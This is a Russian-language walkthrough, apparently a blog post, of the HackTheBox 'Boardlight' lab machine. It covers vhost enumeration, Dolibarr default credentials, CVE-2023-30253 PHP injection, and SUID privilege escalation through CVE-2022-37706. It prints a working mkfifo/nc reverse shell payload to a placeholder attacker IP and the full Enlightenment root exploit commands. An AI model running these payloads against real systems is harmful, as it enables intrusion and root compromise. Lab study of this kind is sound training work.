Перейти к содержимому

HTB Boardlight прохождение: от RCE в Dolibarr до root через SUID-бинарь

HTB Boardlight прохождение: от RCE в Dolibarr до root через SUID-бинарь
Время чтения: 11 мин.

Дефолтный пароль admin:admin, две CVE с оценками 8.8 и 7.8, конфигурационный файл с паролем от базы в открытом виде — и этот пароль подходит к SSH. Классика жанра. Boardlight с HackTheBox (уровень Easy) — машина, которая учит не столько «что вводить в терминал», сколько «почему именно это». Каждый этап — отдельный навык: энумерация виртуальных хостов, эксплуатация CVE в веб-приложении, чтение конфигов (там всегда лежат ключи от всего), повышение привилегий через SUID. Разберём всю цепочку с объяснением механики.

Требования к окружению

  • ОС: Kali Linux 2023.x+ или Parrot OS. Хватит виртуалки с 2 ГБ RAM
  • Подключение: активный VPN к HackTheBox (файл .ovpn из личного кабинета HTB)
  • Инструменты: nmap, gobuster или ffuf, netcat (nc), SSH-клиент — всё предустановлено в Kali
  • IP машины: 10.10.11.11 (может отличаться в вашей сессии)

Первым делом добавляем запись в /etc/hosts командой echo "10.10.11.11 board.htb" | sudo tee -a /etc/hosts. Без этого виртуальные хосты на целевом сервере не будут резолвиться, и мы пропустим ключевой поддомен.

Карта атаки: полная цепочка от сканирования до root

Прежде чем вводить первую команду, стоит видеть общую картину. Вот цепочка Boardlight с привязкой к MITRE ATT&CK:

  1. Разведкаnmap выявляет порты 22 (SSH) и 80 (HTTP), gobuster обнаруживает поддомен crm.board.htb с Dolibarr CRM (T1083, File and Directory Discovery)
  2. Initial Access — вход в Dolibarr через дефолтные admin:admin (T1078, Valid Accounts) и эксплуатация CVE-2023-30253 для выполнения кода на сервере (T1190, Exploit Public-Facing Application)
  3. Execution — reverse shell через инъекцию PHP-кода с обходом фильтра (T1059.004, Unix Shell)
  4. Credential Access — пароль базы данных из конфигурационного файла Dolibarr (T1552.001, Credentials In Files)
  5. Lateral Movement — SSH-вход как пользователь larissa через переиспользование найденного пароля
  6. Privilege Escalation — SUID-бинарь enlightenment_sys (T1548.001, Setuid and Setgid) и эксплуатация CVE-2022-37706 (T1068, Exploitation for Privilege Escalation)

Веб-приложение с CVE → foothold от www-data → lateral movement к larissa → privesc до root. Эта последовательность в разных вариациях повторяется на большинстве Linux-машин HTB уровней Easy и Medium.

Разведка: сканирование портов и обнаружение Dolibarr CRM

Сканирование портов

Полное сканирование nmap -p- --min-rate 10000 10.10.11.11 обнаруживает два открытых TCP-порта: 22 (SSH) и 80 (HTTP). Флаг -p- — все 65535 портов, --min-rate 10000 — минимальная скорость отправки пакетов (на HTB можно не стесняться).

Детальное сканирование nmap -sCV -p 22,80 10.10.11.11 раскрывает версии сервисов. -sC запускает стандартные NSE-скрипты (баннеры, проверка конфигураций), -sV — определение версий. Результат: OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 и Apache httpd 2.4.41. По версиям определяется ОС — Ubuntu 20.04 Focal Fossa.

Обе версии без критических публичных эксплойтов. Точка входа, скорее всего, не в сервисах, а в веб-приложении поверх Apache.

Статический сайт и энумерация виртуальных хостов

Сайт на порту 80 — статическая страница компании по кибербезопасности. Страницы about.php, do.php, contact.php — просто разделы основной страницы с тем же шаблоном. Форма обратной связи не отправляет данных. Сканирование директорий через feroxbuster -u http://board.htb -x php тоже ничего нового — стандартные /css/, /images/, /js/.

Единственная зацепка — email info@board.htb в подвале страницы. Он подтверждает доменное имя board.htb и намекает: раз есть домен, могут быть поддомены.

Виртуальный хост (vhost) — несколько сайтов живут на одном IP, а веб-сервер определяет, какой показать, по заголовку Host в HTTP-запросе. Перебирая значения этого заголовка, можно найти скрытые поддомены. Для тех кто в танке — это как несколько квартир за одной дверью: стучишь с разным паролем, попадаешь в разные комнаты.

Запускаем энумерацию: gobuster vhost -u http://board.htb/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain. Вместо gobuster можно использовать ffuf с параметром -H "Host: FUZZ.board.htb" — инструменты взаимозаменяемы для этой задачи.

Результат: поддомен crm.board.htb (Status: 200, Size: 6360). Добавляем его в /etc/hosts — теперь там строка 10.10.11.11 board.htb crm.board.htb.

Открываем crm.board.htb в браузере: страница авторизации Dolibarr версии 17.0.0. Dolibarr — open-source ERP/CRM на PHP с MySQL-бэкендом. Версия указана прямо на форме входа — спасибо разработчикам за удобство.

CVE-2023-30253: эксплуатация Dolibarr RCE уязвимости

Дефолтные учётные данные

При обнаружении любой CMS первым делом проверяют стандартные пароли. Всегда. Для Dolibarr комбинация admin:admin задокументирована в официальных форумах как дефолтная после установки. Пробуем — попадаем в панель управления.

В терминах MITRE ATT&CK это T1078 (Valid Accounts). По данным CrowdStrike Global Threat Report 2025, 75% вторжений в 2024 году использовали действительные учётные данные как вектор доступа. IBM X-Force фиксирует рост атак с использованием валидных credentials на 71% год к году. Дефолтные пароли — частный случай, но до сих пор работающий.

Механика уязвимости

CVE-2023-30253 — уязвимость удалённого выполнения кода (RCE, Remote Code Execution) в Dolibarr до версии 17.0.1. Атакующий может выполнить произвольные команды на сервере через сеть, без физического доступа к машине.

Данные NVD:

Параметр Значение
CVSS 8.8 (HIGH)
Вектор CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE CWE-78 (OS Command Injection)
Затронутый продукт dolibarr_erp/crm до 17.0.1
EPSS 0.79, Top 1% — экстремально высокая вероятность эксплуатации

Расшифровка вектора: AV:N — атака через сеть; AC:L — низкая сложность, специальных условий не нужно; PR:L — нужна авторизация (хотя бы минимальные привилегии); UI:N — действия жертвы не требуются. Воздействие максимальное по всем трём параметрам: конфиденциальность (C:H), целостность (I:H), доступность (A:H).

А теперь самое интересное — суть бага. Dolibarr позволяет авторизованным пользователям создавать веб-страницы через встроенный конструктор сайтов. Система пытается заблокировать вставку PHP-кода, проверяя наличие подстроки <?php в содержимом страницы. Проверка регистрозависимая. Пишем <?pHp или <?PHP — фильтр пропускает, а PHP-интерпретатор выполняет. Для PHP регистр в открывающем теге не имеет значения. Элегантно в своей простоте.

По данным CISA (ADP enrichment), эксплуатация не автоматизируема (Automatable: no — нужна ручная авторизация), но технический импакт полный (Technical Impact: total). На GitHub доступен PoC nikn0laty/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253 (41 звезда, обновлён в ноябре 2025, статус: активный). Альтернативный путь — модуль Metasploit exploit/linux/http/dolibarr_cmd_exec (документирован на Rapid7).

Получение reverse shell

Reverse shell — обратное подключение, при котором целевая машина сама соединяется с атакующим. Файрволы обычно блокируют входящие подключения, но пропускают исходящие — на этом и строится обход.

В панели Dolibarr создаём новый сайт (раздел Websites → Create website), затем новую страницу. В HTML-редакторе вставляем PHP-код с изменённым регистром открывающего тега:

<section id="mysection1" contenteditable="true">
<?pHp system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc YOUR_IP 1337>/tmp/f"); ?>
</section>

Замените YOUR_IP на ваш IP в VPN-сети HTB (узнать можно через ip addr show tun0). На своей машине предварительно запускаем слушатель: nc -lvnp 1337. Сохраняем страницу в Dolibarr, включаем опцию «Show dynamic content» и открываем превью — ловим шелл от www-data.

Шелл нестабильный: нет автодополнения, нет истории команд, Ctrl+C убьёт сессию. Стабилизируем: python3 -c 'import pty;pty.spawn("/bin/bash")', затем export TERM=xterm, жмём Ctrl+Z (шелл уходит в фон), вводим stty raw -echo; fg. Теперь терминал полноценный.

Повышение привилегий: от www-data к larissa через SUID до root

Credentials в конфигурационных файлах

Шелл от www-data — это foothold, но не цель. Пользовательский флаг лежит в /home/larissa/user.txt, а у www-data нет прав на чтение. Команда ls -al /home/ подтверждает: единственный пользователь — larissa (uid 1000), директория закрыта правами drwxr-x---.

Веб-приложения хранят параметры подключения к базе данных в конфигурационных файлах — и это первое место, куда стоит заглянуть после получения шелла. Для Dolibarr ищем conf.php в директории htdocs/conf/:

$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';

Пароль serverfun2$2023!! — от базы MySQL. Можно подключиться через mysql -u dolibarrowner -p dolibarr и попытаться вытащить хэши паролей пользователей CRM. Но есть путь короче: проверить, не переиспользуется ли пароль для SSH. ssh larissa@10.10.11.11 с паролем serverfun2$2023!! — и мы внутри. Флаг: cat ~/user.txt.

Переиспользование паролей между сервисами — на каждом втором внутреннем пентесте находится пароль от БД, который подходит к SSH или доменной учётке. Люди ленивы, и это наш главный союзник.

SUID-бинарь Enlightenment и CVE-2022-37706

Теперь нужен root. Стандартная процедура: запустить LinPEAS (Linux Privilege Escalation Awesome Script, активно поддерживается, последнее обновление — 2025) или аналог (LinEnum, pspy для мониторинга процессов). Перенос на целевую машину (T1105, Ingress Tool Transfer): python3 -m http.server 8000 на атакующей стороне, wget http://YOUR_IP:8000/linpeas.sh на целевой.

Ключевая находка: SUID-бинарь /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys. Тот же результат даёт ручная команда find / -perm -4000 -type f 2>/dev/null.

SUID (Set User ID) — специальный бит разрешений в Linux. Программа с SUID выполняется с правами владельца файла, а не того, кто её запустил. Если владелец root — программа получает root-привилегии. Стандартные SUID-бинари (passwd, sudo, ping) безопасны, они проектировались с учётом этого. Нестандартные — потенциальный вектор. Увидел незнакомый SUID — сразу в GTFOBins и searchsploit.

Enlightenment — оконный менеджер для Linux. На сервере — экзотика, но тут он есть. Его утилита enlightenment_sys выполняет привилегированные системные операции (монтирование дисков, управление питанием) и установлена как SUID root.

CVE-2022-37706 — повышение привилегий в Enlightenment до версии 0.25.4. CVSS: 7.8 (HIGH), вектор: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. CWE-269 (Improper Privilege Management). Атака локальная (AV:L): нужен доступ к системе — у нас он есть через SSH. EPSS: 0.055, Top 10%.

Механика: enlightenment_sys передаёт пользовательский путь в системный вызов монтирования без должной санитизации. Путь, начинающийся с /dev/.., резолвится через path traversal к корню файловой системы. Трюк — точка с запятой в имени директории /dev/../tmp/;/tmp/exploit интерпретируется шеллом как разделитель команд. /tmp/exploit выполняется с root-привилегиями, потому что enlightenment_sys работает как SUID root.

mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"
echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys \
  /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), \
  "/dev/../tmp/;/tmp/exploit" /tmp///net

Результат: root-шелл. whoamiroot. Флаг: cat /root/root.txt.

На Exploit-DB уязвимость зарегистрирована как EDB-51180 (автор: nu11secur1ty, апрель 2023). Debian выпустил исправление в DSA-5233-1 для пакета e17 (сентябрь 2022).

Ограничения техник и детект в реальной инфраструктуре

Boardlight — учебная машина без защитных решений. Где описанные техники работают за пределами лабы, а где нет?

CVE-2023-30253 применима только к Dolibarr до версии 17.0.1. На внешнем пентесте Dolibarr с дефолтным паролем — редкость, но не невозможность. По данным Verizon DBIR 2025, 38% утечек связаны с украденными или дефолтными учётными данными. IBM X-Force оценивает среднее время между публикацией CVE и её устранением в организации в 29 месяцев — запас для атакующего серьёзный.

CVE-2022-37706 требует наличия Enlightenment на целевой системе. На серверах — экзотика. На рабочих станциях разработчиков или в специфических десктопных дистрибутивах — встречается. На типичном серверном пентесте проверяйте все нестандартные SUID-бинари через GTFOBins (gtfobins.github.io) и Exploit-DB — каждый из них потенциальный вектор.

Детектирование reverse shell: конструкция mkfifo + nc обнаруживается CrowdStrike Falcon и SentinelOne за секунды по характерным syscall-паттернам. Elastic 8.x+ с настроенными detection rules зафиксирует создание named pipe в /tmp с последующим сетевым подключением. На HTB-машинах (чистая Ubuntu без EDR) всё работает без проблем, но на реальном внутреннем пентесте потребуются другие методы — шифрованные каналы, кастомные бэкдоры или легитимные инструменты удалённого управления.

Boardlight закрепляет три навыка, которые пригодятся на любом пентесте. Первый — всегда проверять дефолтные пароли (да, в 2025 году это до сих пор работает). Второй — всегда читать конфигурационные файлы веб-приложений: conf.php, settings.py, .env — там валяются ключи от всего. Третий — никогда не игнорировать нестандартные SUID-бинари. Половина начинающих пентестеров запускает LinPEAS, видит список SUID-файлов и не понимает, что с ними делать дальше. Каждый бинарь, не входящий в стандартный набор (passwd, sudo, ping, mount), проверяется через GTFOBins и searchsploit. Кто-то скажет, что Easy-машины оторваны от реальности, но цепочка «дефолтный пароль → credentials в конфиге → переиспользование» — это то, что встречается на каждом втором внутреннем пентесте. Разница в масштабе, не в логике. Если хочется не просто повторять writeup-ы, а закрыть базу от сканирования до root-шелла системно — на IB Basics в Codeby School эту структуру собирают за пару месяцев с лабами, без академического тона.

Эту тему и смежные навыки разбирают на практике в курсе «Тестирование веб-приложений на проникновение (WAPT)» Codeby Academy.